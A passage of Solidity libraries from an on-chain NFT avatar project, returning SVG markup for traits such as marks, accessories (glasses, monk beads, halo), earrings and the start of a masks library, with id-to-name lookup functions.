c-2,1.3-3.4,3.6-3.4,6.2c0,4,3.3,7.3,7.3,7.3l0,0C199.8,161.6,202.9,164.5,202.9,168.2z M196.6,170.3c-1,0-1.9-0.8-1.9-1.9 c0-1,0.8-1.9,1.9-1.9c1,0,1.9,0.8,1.9,1.9C198.4,169.5,197.6,170.3,196.6,170.3z"/>' ) ) ); } /// @dev Mark N°8 => Scar function item_8() public pure returns (string memory) { return base( string( abi.encodePacked( '<path id="Scar" fill="#FF7478" d="M236.2,148.7c0,0-7.9,48.9-1.2,97.3C235,246,243.8,201.5,236.2,148.7z"/>' ) ) ); } /// @dev Mark N°9 => Sun function item_9() public pure returns (string memory) { return base( string( abi.encodePacked( '<circle fill="#7F0068" cx="195.8" cy="161.5" r="11.5"/>', '<polygon fill="#7F0068" points="195.9,142.4 192.4,147.8 199.3,147.8"/>', '<polygon fill="#7F0068" points="209.6,158.1 209.6,164.9 214.9,161.5"/>', '<polygon fill="#7F0068" points="195.9,180.6 199.3,175.2 192.4,175.2"/>', '<polygon fill="#7F0068" points="182.1,158.1 176.8,161.5 182.1,164.9"/>', '<polygon fill="#7F0068" points="209.3,148 203.1,149.4 208,154.2"/>', '<polygon fill="#7F0068" points="209.3,175 208,168.8 203.1,173.6"/>', '<polygon fill="#7F0068" points="183.7,168.8 182.4,175 188.6,173.6"/>', '<polygon fill="#7F0068" points="188.6,149.4 182.4,148 183.7,154.2"/>' ) ) ); } /// @dev Mark N°10 => Moon function item_10() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#7F0068" d="M197.2,142.1c-5.8,0-10.9,2.9-13.9,7.3c2.3-2.3,5.4-3.7,8.9-3.7c7.1,0,12.9,5.9,12.9,13.3 s-5.8,13.3-12.9,13.3c-3.4,0-6.6-1.4-8.9-3.7c3.1,4.4,8.2,7.3,13.9,7.3c9.3,0,16.9-7.6,16.9-16.9S206.6,142.1,197.2,142.1z"/>' ) ) ); } /// @dev Mark N°11 => Third Eye function item_11() public pure returns (string memory) { return base( string( abi.encodePacked( '<path opacity="0.81" fill="#FFFFFF" d="M184.4,159.3c0.7,3.5,0.8,8.5,6.3,8.8 c5.5,1.6,23.2,4.2,23.8-7.6c1.2-6.1-10-9.5-15.5-9.3C193.8,152.6,184.1,153.5,184.4,159.3z"/>', '<path d="M213.6,155.6c-0.2-0.2-0.4-0.4-0.6-0.6"/>', '<path d="M211.8,154c-7.7-6.6-23.5-4.9-29.2,3.6c9.9-7.1,26.1-6.1,34.4,2.4c0-0.3-0.7-1.5-2-3.1"/>', '<path d="M197.3,146.8c4.3-0.6,9.1,0.3,12.7,2.7C206,147.7,201.8,146.5,197.3,146.8L197.3,146.8z M193.6,147.5 c-2,0.9-4.1,1.8-6.1,2.6C189.2,148.8,191.5,147.8,193.6,147.5z"/>', '<path d="M187.6,167.2c5.2,2,18.5,3.2,23.3,0.1C206.3,171.3,192.7,170,187.6,167.2z"/>', '<path fill="#0B1F26" d="M199.6,151c11.1-0.2,11.1,17.4,0,17.3C188.5,168.4,188.5,150.8,199.6,151z"/>' ) ) ); } /// @dev Mark N°12 => Tori function item_12() public pure returns (string memory) { return base( string( abi.encodePacked( '<line fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" x1="231.2" y1="221.5" x2="231.2" y2="228.4"/>', '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M228.6,221.2c0,0,3.2,0.4,5.5,0.2"/>', '<path fill-rule="evenodd" clip-rule="evenodd" fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M237.3,221.5c0,0-3.5,3.1,0,6.3C240.8,231,242.2,221.5,237.3,221.5z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M243.2,227.8l-1.2-6.4c0,0,8.7-2,1,2.8l3.2,3"/>', '<line fill-rule="evenodd" clip-rule="evenodd" fill="#FFEBB4" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" x1="248.5" y1="221" x2="248.5" y2="227.5"/>', '<path d="M254.2,226c0,0,0.1,0,0.1,0c0,0,0.1,0,0.1-0.1l1.3-2.2c0.5-0.9-0.2-2.2-1.2-2c-0.6,0.1-0.8,0.7-0.9,0.8 c-0.1-0.1-0.5-0.5-1.1-0.4c-1,0.2-1.3,1.7-0.4,2.3L254.2,226z"/>' ) ) ); } /// @dev Mark N°13 => Ether function item_13() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#2B2B2B" stroke="#000000" stroke-miterlimit="10" d="M196.5,159.9l-12.4-5.9l12.4,21.6l12.4-21.6L196.5,159.9z"/>', '<path fill="#2B2B2B" stroke="#000000" stroke-miterlimit="10" d="M207.5,149.6l-11-19.1l-11,19.2l11-5.2L207.5,149.6z"/>', '<path fill="#2B2B2B" stroke="#000000" stroke-miterlimit="10" d="M186.5,152.2l10.1,4.8l10.1-4.8l-10.1-4.8L186.5,152.2z"/>' ) ) ); } /// @notice Return the mark name of the given id /// @param id The mark Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Classic"; } else if (id == 2) { name = "Blush Cheeks"; } else if (id == 3) { name = "Dark Circle"; } else if (id == 4) { name = "Chin Scar"; } else if (id == 5) { name = "Blush"; } else if (id == 6) { name = "Chin"; } else if (id == 7) { name = "Yinyang"; } else if (id == 8) { name = "Scar"; } else if (id == 9) { name = "Sun"; } else if (id == 10) { name = "Moon"; } else if (id == 11) { name = "Third Eye"; } else if (id == 12) { name = "Tori"; } else if (id == 13) { name = "Ether"; } } /// @dev The base SVG for the hair function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Mark">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; import "./constants/Colors.sol"; /// @title Accessory SVG generator library AccessoryDetail { /// @dev Accessory N°1 => Classic function item_1() public pure returns (string memory) { return ""; } /// @dev Accessory N°2 => Glasses function item_2() public pure returns (string memory) { return base(glasses("D1F5FF", "000000", "0.31")); } /// @dev Accessory N°3 => Bow Tie function item_3() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="none" stroke="#000000" stroke-width="7" stroke-miterlimit="10" d="M176.2,312.5 c3.8,0.3,26.6,7.2,81.4-0.4"/>', '<path fill-rule="evenodd" clip-rule="evenodd" fill="#DF0849" stroke="#000000" stroke-miterlimit="10" d="M211.3,322.1 c-2.5-0.3-5-0.5-7.4,0c-1.1,0-1.9-1.4-1.9-3.1v-4.5c0-1.7,0.9-3.1,1.9-3.1c2.3,0.6,4.8,0.5,7.4,0c1.1,0,1.9,1.4,1.9,3.1v4.5 C213.2,320.6,212.3,322.1,211.3,322.1z"/>', '<path fill="#DF0849" stroke="#000000" stroke-miterlimit="10" d="M202.4,321.5c0,0-14,5.6-17.7,5.3c-1.1-0.1-2.5-4.6-1.2-10.5 c0,0-1-2.2-0.3-9.5c0.4-3.4,19.2,5.1,19.2,5.1S201,316.9,202.4,321.5z"/>', '<path fill="#DF0849" stroke="#000000" stroke-miterlimit="10" d="M212.6,321.5c0,0,14,5.6,17.7,5.3c1.1-0.1,2.5-4.6,1.2-10.5 c0,0,1-2.2,0.3-9.5c-0.4-3.4-19.2,5.1-19.2,5.1S213.9,316.9,212.6,321.5z"/>', '<path opacity="0.41" d="M213.6,315.9l6.4-1.1l-3.6,1.9l4.1,1.1l-7-0.6L213.6,315.9z M201.4,316.2l-6.4-1.1l3.6,1.9l-4.1,1.1l7-0.6L201.4,316.2z"/>' ) ) ); } /// @dev Accessory N°4 => Monk Beads Classic function item_4() public pure returns (string memory) { return base(monkBeads("63205A")); } /// @dev Accessory N°5 => Monk Beads Silver function item_5() public pure returns (string memory) { return base(monkBeads("C7D2D4")); } /// @dev Accessory N°6 => Power Pole function item_6() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FF6F4F" stroke="#000000" stroke-width="0.75" stroke-miterlimit="10" d="M272.3,331.9l55.2-74.4c0,0,3,4.3,8.7,7.5l-54,72.3"/>', '<polygon fill="#BA513A" points="335.9,265.3 334.2,264.1 279.9,336.1 281.8,337.1"/>', '<ellipse transform="matrix(0.6516 -0.7586 0.7586 0.6516 -82.3719 342.7996)" fill="#B54E36" stroke="#000000" stroke-width="0.25" stroke-miterlimit="10" cx="332" cy="261.1" rx="1.2" ry="6.1"/>', '<path fill="none" stroke="#B09E00" stroke-miterlimit="10" d="M276.9,335.3c-52.7,31.1-119.3,49.4-120.7,49"/>' ) ) ); } /// @dev Accessory N°7 => Vintage Glasses function item_7() public pure returns (string memory) { return base(glasses("FC55FF", "DFA500", "0.31")); } /// @dev Accessory N°8 => Monk Beads Gold function item_8() public pure returns (string memory) { return base(monkBeads("FFDD00")); } /// @dev Accessory N°9 => Eye Patch function item_9() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FCFEFF" stroke="#4A6362" stroke-miterlimit="10" d="M253.6,222.7H219c-4.7,0-8.5-3.8-8.5-8.5v-20.8 c0-4.7,3.8-8.5,8.5-8.5h34.6c4.7,0,8.5,3.8,8.5,8.5v20.8C262.1,218.9,258.3,222.7,253.6,222.7z"/>', '<path fill="none" stroke="#4A6362" stroke-width="0.75" stroke-miterlimit="10" d="M250.1,218.9h-27.6c-3.8,0-6.8-3.1-6.8-6.8 v-16.3c0-3.8,3.1-6.8,6.8-6.8h27.6c3.8,0,6.8,3.1,6.8,6.8V212C257,215.8,253.9,218.9,250.1,218.9z"/>', '<line fill="none" stroke="#3C4F4E" stroke-linecap="round" stroke-miterlimit="10" x1="211.9" y1="188.4" x2="131.8" y2="183.1"/>', '<line fill="none" stroke="#3C4F4E" stroke-linecap="round" stroke-miterlimit="10" x1="259.9" y1="188.1" x2="293.4" y2="196.7"/>', '<line fill="none" stroke="#3C4F4E" stroke-linecap="round" stroke-miterlimit="10" x1="259.2" y1="220.6" x2="277.5" y2="251.6"/>', '<line fill="none" stroke="#3C4F4E" stroke-linecap="round" stroke-miterlimit="10" x1="211.4" y1="219.1" x2="140.5" y2="242"/>', '<g fill-rule="evenodd" clip-rule="evenodd" fill="#636363" stroke="#4A6362" stroke-width="0.25" stroke-miterlimit="10"><ellipse cx="250.9" cy="215" rx="0.8" ry="1.1"/><ellipse cx="236.9" cy="215" rx="0.8" ry="1.1"/><ellipse cx="250.9" cy="203.9" rx="0.8" ry="1.1"/><ellipse cx="250.9" cy="193.8" rx="0.8" ry="1.1"/><ellipse cx="236.9" cy="193.8" rx="0.8" ry="1.1"/><ellipse cx="221.3" cy="215" rx="0.8" ry="1.1"/><ellipse cx="221.3" cy="203.9" rx="0.8" ry="1.1"/><ellipse cx="221.3" cy="193.8" rx="0.8" ry="1.1"/></g>' ) ) ); } /// @dev Accessory N°10 => Sun Glasses function item_10() public pure returns (string memory) { return base(glasses(Colors.BLACK, Colors.BLACK_DEEP, "1")); } /// @dev Accessory N°11 => Monk Beads Diamond function item_11() public pure returns (string memory) { return base(monkBeads("AAFFFD")); } /// @dev Accessory N°12 => Horns function item_12() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill-rule="evenodd" clip-rule="evenodd" fill="#212121" stroke="#000000" stroke-linejoin="round" stroke-miterlimit="10" d="M257.7,96.3c0,0,35-18.3,46.3-42.9c0,0-0.9,37.6-23.2,67.6C269.8,115.6,261.8,107.3,257.7,96.3z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" fill="#212121" stroke="#000000" stroke-linejoin="round" stroke-miterlimit="10" d="M162,96.7c0,0-33-17.3-43.7-40.5c0,0,0.9,35.5,21.8,63.8C150.6,114.9,158.1,107.1,162,96.7z"/>' ) ) ); } /// @dev Accessory N°13 => Halo function item_13() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#F6FF99" stroke="#000000" stroke-miterlimit="10" d="M136,67.3c0,14.6,34.5,26.4,77,26.4s77-11.8,77-26.4s-34.5-26.4-77-26.4S136,52.7,136,67.3L136,67.3z M213,79.7c-31.4,0-56.9-6.4-56.9-14.2s25.5-14.2,56.9-14.2s56.9,6.4,56.9,14.2S244.4,79.7,213,79.7z"/>' ) ) ); } /// @dev Accessory N°14 => Saiki Power function item_14() public pure returns (string memory) { return base( string( abi.encodePacked( '<line fill="none" stroke="#000000" stroke-width="5" stroke-miterlimit="10" x1="270.5" y1="105.7" x2="281.7" y2="91.7"/>', '<circle fill="#EB7FFF" stroke="#000000" stroke-miterlimit="10" cx="285.7" cy="85.2" r="9.2"/>', '<line fill="none" stroke="#000000" stroke-width="5" stroke-miterlimit="10" x1="155.8" y1="105.7" x2="144.5" y2="91.7"/>', '<circle fill="#EB7FFF" stroke="#000000" stroke-miterlimit="10" cx="138.7" cy="85.2" r="9.2"/>', '<path opacity="0.17" d="M287.3,76.6c0,0,10.2,8.2,0,17.1c0,0,7.8-0.7,7.4-9.5 C293,75.9,287.3,76.6,287.3,76.6z"/>', '<path opacity="0.17" d="M137,76.4c0,0-10.2,8.2,0,17.1c0,0-7.8-0.7-7.4-9.5 C131.4,75.8,137,76.4,137,76.4z"/>', '<ellipse transform="matrix(0.4588 -0.8885 0.8885 0.4588 80.0823 294.4391)" fill="#FFFFFF" cx="281.8" cy="81.5" rx="2.1" ry="1.5"/>', '<ellipse transform="matrix(0.8885 -0.4588 0.4588 0.8885 -21.756 74.6221)" fill="#FFFFFF" cx="142.7" cy="82.1" rx="1.5" ry="2.1"/>', '<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M159.6,101.4c0,0-1.1,4.4-7.4,7.2"/>', '<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M267.2,101.4c0,0,1.1,4.4,7.4,7.2"/>', abi.encodePacked( '<polygon opacity="0.68" fill="#7FFF35" points="126,189.5 185.7,191.8 188.6,199.6 184.6,207.4 157.3,217.9 128.6,203.7"/>', '<polygon opacity="0.68" fill="#7FFF35" points="265.7,189.5 206.7,191.8 203.8,199.6 207.7,207.4 234.8,217.9 263.2,203.7"/>', '<polyline fill="#FFFFFF" stroke="#424242" stroke-width="0.5" stroke-miterlimit="10" points="196.5,195.7 191.8,195.4 187,190.9 184.8,192.3 188.5,198.9 183,206.8 187.6,208.3 193.1,201.2 196.5,201.2"/>', '<polyline fill="#FFFFFF" stroke="#424242" stroke-width="0.5" stroke-miterlimit="10" points="196.4,195.7 201.1,195.4 205.9,190.9 208.1,192.3 204.4,198.9 209.9,206.8 205.3,208.3 199.8,201.2 196.4,201.2"/>', '<polygon fill="#FFFFFF" stroke="#424242" stroke-width="0.5" stroke-miterlimit="10" points="123.8,189.5 126.3,203 129.2,204.4 127.5,189.5"/>', '<polygon fill="#FFFFFF" stroke="#424242" stroke-width="0.5" stroke-miterlimit="10" points="265.8,189.4 263.3,203.7 284.3,200.6 285.3,189.4"/>' ) ) ) ); } /// @dev Accessory N°15 => No Face function item_15() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#F5F4F3" stroke="#000000" stroke-miterlimit="10" d="M285.5,177.9c0,68.3-19.6,127.3-77.9,128.2 c-58.4,0.9-74.4-57.1-74.4-125.4s14.4-103.5,72.7-103.5C266.7,77.2,285.5,109.6,285.5,177.9z"/>', '<path opacity="0.08" d="M285.4,176.9c0,68.3-19.4,127.6-78,129.3 c27.2-17.6,28.3-49.1,28.3-117.3s23.8-86-30-111.6C266.4,77.3,285.4,108.7,285.4,176.9z"/>', '<ellipse cx="243.2" cy="180.7" rx="16.9" ry="6.1"/>', '<path d="M231.4,273.6c0.3-7.2-12.1-6.1-27.2-6.1s-27.4-1.4-27.2,6.1c0.1,3.4,12.1,6.1,27.2,6.1S231.3,277,231.4,273.6z"/>', '<ellipse cx="162" cy="180.5" rx="16.3" ry="6"/>', '<path fill="#F2EDED" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M149.7,191.4c0,0,6.7,5.8,20.5,0.6"/>', '<path fill="#F2EDED" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M232.9,191.3c0,0,6.6,5.7,20.4,0.6"/>', '<path fill="#F2EDED" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M192.7,285.1c0,0,9.2,3.5,21.6,0"/>', '<path fill="#996DAD" d="M150.8,200.5c1.5-3.6,17.2-3.4,18.8-0.4c1.8,3.2-4.8,45.7-6.6,46C159.8,246.8,148.1,211.1,150.8,200.5z"/>', '<path fill="#996DAD" d="M233.9,199.8c1.5-3.6,18-2.7,19.7,0.3c3.7,6.4-6.5,45.5-9.3,45.4C241,245.2,231.1,210.4,233.9,199.8z"/>', '<path fill="#996DAD" d="M231.3,160.6c1.3,2.3,14.7,2.1,16.1,0.2c1.6-2-4.1-27.7-7.2-28.2C236.9,132.2,229,154.1,231.3,160.6z"/>', '<path fill="#996DAD" d="M152.9,163.2c1.3,2.3,14.7,2.1,16.1,0.2c1.6-2-4.1-27.7-7.2-28.2C158.6,134.8,150.6,156.6,152.9,163.2z"/>' ) ) ); } /// @dev Generate glasses with the given color and opacity function glasses( string memory color, string memory stroke, string memory opacity ) private pure returns (string memory) { return string( abi.encodePacked( '<circle fill="none" stroke="#', stroke, '" stroke-miterlimit="10" cx="161.5" cy="201.7" r="23.9"/>', '<circle fill="none" stroke="#', stroke, '" stroke-miterlimit="10" cx="232.9" cy="201.7" r="23.9"/>', '<circle opacity="', opacity, '" fill="#', color, '" cx="161.5" cy="201.7" r="23.9"/>', abi.encodePacked( '<circle opacity="', opacity, '" fill="#', color, '" cx="232.9" cy="201.7" r="23.9"/>', '<path fill="none" stroke="#', stroke, '" stroke-miterlimit="10" d="M256.8,201.7l35.8-3.2 M185.5,201.7 c0,0,14.7-3.1,23.5,0 M137.6,201.7l-8.4-3.2"/>' ) ) ); } /// @dev Generate Monk Beads SVG with the given color function monkBeads(string memory color) private pure returns (string memory) { return string( abi.encodePacked( '<g fill="#', color, '" stroke="#2B232B" stroke-miterlimit="10" stroke-width="0.75">', '<ellipse transform="matrix(0.9999 -1.689662e-02 1.689662e-02 0.9999 -5.3439 3.0256)" cx="176.4" cy="317.8" rx="7.9" ry="8"/>', '<ellipse transform="matrix(0.9999 -1.689662e-02 1.689662e-02 0.9999 -5.458 3.2596)" cx="190.2" cy="324.6" rx="7.9" ry="8"/>', '<ellipse transform="matrix(0.9999 -1.689662e-02 1.689662e-02 0.9999 -5.5085 3.5351)" cx="206.4" cy="327.8" rx="7.9" ry="8"/>', '<ellipse transform="matrix(0.9999 -1.689662e-02 1.689662e-02 0.9999 -5.4607 4.0856)" cx="239.1" cy="325.2" rx="7.9" ry="8"/>', '<ellipse transform="matrix(0.9999 -1.693338e-02 1.693338e-02 0.9999 -5.386 4.3606)" cx="254.8" cy="320.2" rx="7.9" ry="8"/>', '<ellipse transform="matrix(0.9999 -1.689662e-02 1.689662e-02 0.9999 -5.5015 3.8124)" cx="222.9" cy="327.5" rx="7.9" ry="8"/>', "</g>", '<path opacity="0.14" d="M182,318.4 c0.7,1.3-0.4,3.4-2.5,4.6c-2.1,1.2-4.5,1-5.2-0.3c-0.7-1.3,0.4-3.4,2.5-4.6C178.9,316.9,181.3,317,182,318.4z M190.5,325.7 c-2.1,1.2-3.2,3.2-2.5,4.6c0.7,1.3,3.1,1.5,5.2,0.3s3.2-3.2,2.5-4.6C195,324.6,192.7,324.5,190.5,325.7z M206.7,328.6 c-2.1,1.2-3.2,3.2-2.5,4.6c0.7,1.3,3.1,1.5,5.2,0.3c2.1-1.2,3.2-3.2,2.5-4.6C211.1,327.6,208.8,327.5,206.7,328.6z M223.2,328.4 c-2.1,1.2-3.2,3.2-2.5,4.6c0.7,1.3,3.1,1.5,5.2,0.3c2.1-1.2,3.2-3.2,2.5-4.6S225.3,327.3,223.2,328.4z M239.8,325.7 c-2.1,1.2-3.2,3.2-2.5,4.6c0.7,1.3,3.1,1.5,5.2,0.3c2.1-1.2,3.2-3.2,2.5-4.6C244.3,324.7,242,324.5,239.8,325.7z M255.7,320.9 c-2.1,1.2-3.2,3.2-2.5,4.6c0.7,1.3,3.1,1.5,5.2,0.3c2.1-1.2,3.2-3.2,2.5-4.6C260.1,319.9,257.8,319.7,255.7,320.9z"/>', abi.encodePacked( '<g fill="#FFFFFF" stroke="#FFFFFF" stroke-miterlimit="10">', '<path d="M250.4,318.9c0.6,0.6,0.5-0.9,1.3-2c0.8-1,2.4-1.2,1.8-1.8 c-0.6-0.6-1.9-0.2-2.8,0.9C250,317,249.8,318.3,250.4,318.9z"/>', '<path d="M234.4,323.6c0.7,0.6,0.5-0.9,1.4-1.9c1-1,2.5-1.1,1.9-1.7 c-0.7-0.6-1.9-0.3-2.8,0.7C234.1,321.7,233.8,323,234.4,323.6z"/>', '<path d="M218.2,325.8c0.6,0.6,0.6-0.9,1.4-1.8c1-1,2.5-1,1.9-1.6 c-0.6-0.6-1.9-0.4-2.8,0.6C217.8,323.9,217.6,325.2,218.2,325.8z"/>', '<path d="M202.1,325.5c0.6,0.6,0.6-0.9,1.7-1.7s2.6-0.8,2-1.5 c-0.6-0.6-1.8-0.5-2.9,0.4C202,323.5,201.5,324.8,202.1,325.5z"/>', '<path d="M186.2,322c0.6,0.6,0.6-0.9,1.7-1.7c1-0.8,2.6-0.8,2-1.5 c-0.6-0.6-1.8-0.5-2.9,0.3C186,320.1,185.7,321.4,186.2,322z"/>', '<path d="M171.7,315.4c0.6,0.6,0.6-0.9,1.5-1.8s2.5-0.9,1.9-1.6 s-1.9-0.4-2.8,0.5C171.5,313.5,171.1,314.9,171.7,315.4z"/>', "</g>" ) ) ); } /// @notice Return the accessory name of the given id /// @param id The accessory Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Classic"; } else if (id == 2) { name = "Glasses"; } else if (id == 3) { name = "Bow Tie"; } else if (id == 4) { name = "Monk Beads Classic"; } else if (id == 5) { name = "Monk Beads Silver"; } else if (id == 6) { name = "Power Pole"; } else if (id == 7) { name = "Vintage Glasses"; } else if (id == 8) { name = "Monk Beads Gold"; } else if (id == 9) { name = "Eye Patch"; } else if (id == 10) { name = "Sun Glasses"; } else if (id == 11) { name = "Monk Beads Diamond"; } else if (id == 12) { name = "Horns"; } else if (id == 13) { name = "Halo"; } else if (id == 14) { name = "Saiki Power"; } else if (id == 15) { name = "No Face"; } } /// @dev The base SVG for the accessory function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Accessory">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Earrings SVG generator library EarringsDetail { /// @dev Earrings N°1 => Classic function item_1() public pure returns (string memory) { return ""; } /// @dev Earrings N°2 => Circle function item_2() public pure returns (string memory) { return base(circle("000000")); } /// @dev Earrings N°3 => Circle Silver function item_3() public pure returns (string memory) { return base(circle("C7D2D4")); } /// @dev Earrings N°4 => Ring function item_4() public pure returns (string memory) { return base(ring("000000")); } /// @dev Earrings N°5 => Circle Gold function item_5() public pure returns (string memory) { return base(circle("FFDD00")); } /// @dev Earrings N°6 => Ring Gold function item_6() public pure returns (string memory) { return base(ring("FFDD00")); } /// @dev Earrings N°7 => Heart function item_7() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M284.3,247.9c0.1,0.1,0.1,0.1,0.2,0.1s0.2,0,0.2-0.1l3.7-3.8c1.5-1.6,0.4-4.3-1.8-4.3c-1.3,0-1.9,1-2.2,1.2c-0.2-0.2-0.8-1.2-2.2-1.2c-2.2,0-3.3,2.7-1.8,4.3L284.3,247.9z"/>', '<path d="M135,246.6c0,0,0.1,0.1,0.2,0.1s0.1,0,0.2-0.1l3.1-3.1c1.3-1.3,0.4-3.6-1.5-3.6c-1.1,0-1.6,0.8-1.8,1c-0.2-0.2-0.7-1-1.8-1c-1.8,0-2.8,2.3-1.5,3.6L135,246.6z"/>' ) ) ); } /// @dev Earrings N°8 => Gold function item_8() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M298.7,228.1l-4.7-1.6c0,0-0.1,0-0.1-0.1v-0.1c2.8-2.7,7.1-17.2,7.2-17.4c0-0.1,0.1-0.1,0.1-0.1l0,0c5.3,1.1,5.6,2.2,5.7,2.4c-3.1,5.4-8,16.7-8.1,16.8C298.9,228,298.8,228.1,298.7,228.1C298.8,228.1,298.8,228.1,298.7,228.1z" style="fill: #fff700;stroke: #000;stroke-miterlimit: 10;stroke-width: 0.75px"/>' ) ) ); } /// @dev Earrings N°9 => Circle Diamond function item_9() public pure returns (string memory) { return base(circle("AAFFFD")); } /// @dev Earrings N°10 => Drop Heart function item_10() public pure returns (string memory) { return base( string( abi.encodePacked( drop(true), '<path fill="#F44336" d="M285.4,282.6c0.1,0.1,0.2,0.2,0.4,0.2s0.3-0.1,0.4-0.2l6.7-6.8c2.8-2.8,0.8-7.7-3.2-7.7c-2.4,0-3.5,1.8-3.9,2.1c-0.4-0.3-1.5-2.1-3.9-2.1c-4,0-6,4.9-3.2,7.7L285.4,282.6z"/>', drop(false), '<path fill="#F44336" d="M134.7,282.5c0.1,0.1,0.2,0.2,0.4,0.2s0.3-0.1,0.4-0.2l6.7-6.8c2.8-2.8,0.8-7.7-3.2-7.7c-2.4,0-3.5,1.8-3.9,2.1c-0.4-0.3-1.5-2.1-3.9-2.1c-4,0-6,4.9-3.2,7.7L134.7,282.5z"/>' ) ) ); } /// @dev Earrings N11 => Ether function item_11() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M285.7,242.7l-4.6-2.2l4.6,8l4.6-8L285.7,242.7z"/>', '<path d="M289.8,238.9l-4.1-7.1l-4.1,7.1l4.1-1.9L289.8,238.9z"/>', '<path d="M282,239.9l3.7,1.8l3.8-1.8l-3.8-1.8L282,239.9z"/>', '<path d="M134.5,241.8l-3.4-1.9l3.7,7.3l2.8-7.7L134.5,241.8z"/>', '<path d="M137.3,238l-3.3-6.5l-2.5,6.9l2.8-2L137.3,238z"/>', '<path d="M131.7,239.2l2.8,1.5l2.6-1.8l-2.8-1.5L131.7,239.2z"/>' ) ) ); } /// @dev Earrings N°12 => Drop Ether function item_12() public pure returns (string memory) { return base( string( abi.encodePacked( drop(true), '<path d="M285.7,279.7l-4.6-2.2l4.6,8l4.6-8L285.7,279.7z"/>', '<path d="M289.8,275.9l-4.1-7.1l-4.1,7.1l4.1-1.9L289.8,275.9z"/>', '<path d="M282,276.9l3.7,1.8l3.8-1.8l-3.8-1.8L282,276.9z"/><path d="M282,276.9l3.7,1.8l3.8-1.8l-3.8-1.8L282,276.9z"/>', drop(false), '<path d="M135.1,279.7l-4-2.2l4,8l4-8L135.1,279.7z"/>', '<path d="M138.7,275.9l-3.6-7.1l-3.6,7.1l3.6-1.9L138.7,275.9z"/>', '<path d="M131.8,276.9l3.3,1.8l3.3-1.8l-3.3-1.8L131.8,276.9z"/>' ) ) ); } /// @dev earring drop function drop(bool right) private pure returns (string memory) { return string( right ? abi.encodePacked( '<circle cx="285.7" cy="243.2" r="3.4"/>', '<line fill="none" stroke="#000000" stroke-miterlimit="10" x1="285.7" y1="243.2" x2="285.7" y2="270.2"/>' ) : abi.encodePacked( '<ellipse cx="135.1" cy="243.2" rx="3" ry="3.4"/>', '<line fill="none" stroke="#000000" stroke-miterlimit="10" x1="135.1" y1="243.2" x2="135.1" y2="270.2"/>' ) ); } /// @dev Generate circle SVG with the given color function circle(string memory color) private pure returns (string memory) { return string( abi.encodePacked( '<ellipse fill="#', color, '" stroke="#000000" cx="135.1" cy="243.2" rx="3" ry="3.4"/>', '<ellipse fill="#', color, '" stroke="#000000" cx="286.1" cy="243.2" rx="3.3" ry="3.4"/>' ) ); } /// @dev Generate ring SVG with the given color function ring(string memory color) private pure returns (string memory) { return string( abi.encodePacked( '<path fill="none" stroke="#', color, '" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M283.5,246c0,0-4.2,2-3.1,6.1c1,4.1,5.1,3.6,5.4,3.5s3.1-0.9,3-5"/>', '<path fill="none" stroke="#', color, '" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M134.3,244.7c0,0-4.2,2-3.1,6.1c1,4.1,5.1,3.6,5.4,3.5c0.3-0.1,3.1-0.9,3-5"/>' ) ); } /// @notice Return the earring name of the given id /// @param id The earring Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Classic"; } else if (id == 2) { name = "Circle"; } else if (id == 3) { name = "Circle Silver"; } else if (id == 4) { name = "Ring"; } else if (id == 5) { name = "Circle Gold"; } else if (id == 6) { name = "Ring Gold"; } else if (id == 7) { name = "Heart"; } else if (id == 8) { name = "Gold"; } else if (id == 9) { name = "Circle Diamond"; } else if (id == 10) { name = "Drop Heart"; } else if (id == 11) { name = "Ether"; } else if (id == 12) { name = "Drop Ether"; } } /// @dev The base SVG for the earrings function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Earrings">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; import "./constants/Colors.sol"; /// @title Masks SVG generator library MaskDetail { /// @dev Mask N°1 => Maskless function item_1() public pure returns (string memory) { return ""; } /// @dev Mask N°2 => Classic function item_2() public pure returns (string memory) { return base(classicMask("575673")); } /// @dev Mask N°3 => Blue function item_3() public pure returns (string memory) { return base(classicMask(Colors.BLUE)); } /// @dev Mask N°4 => Pink function item_4() public pure returns (string memory) { return base(classicMask(Colors.PINK)); } /// @dev Mask N°5 => Black function 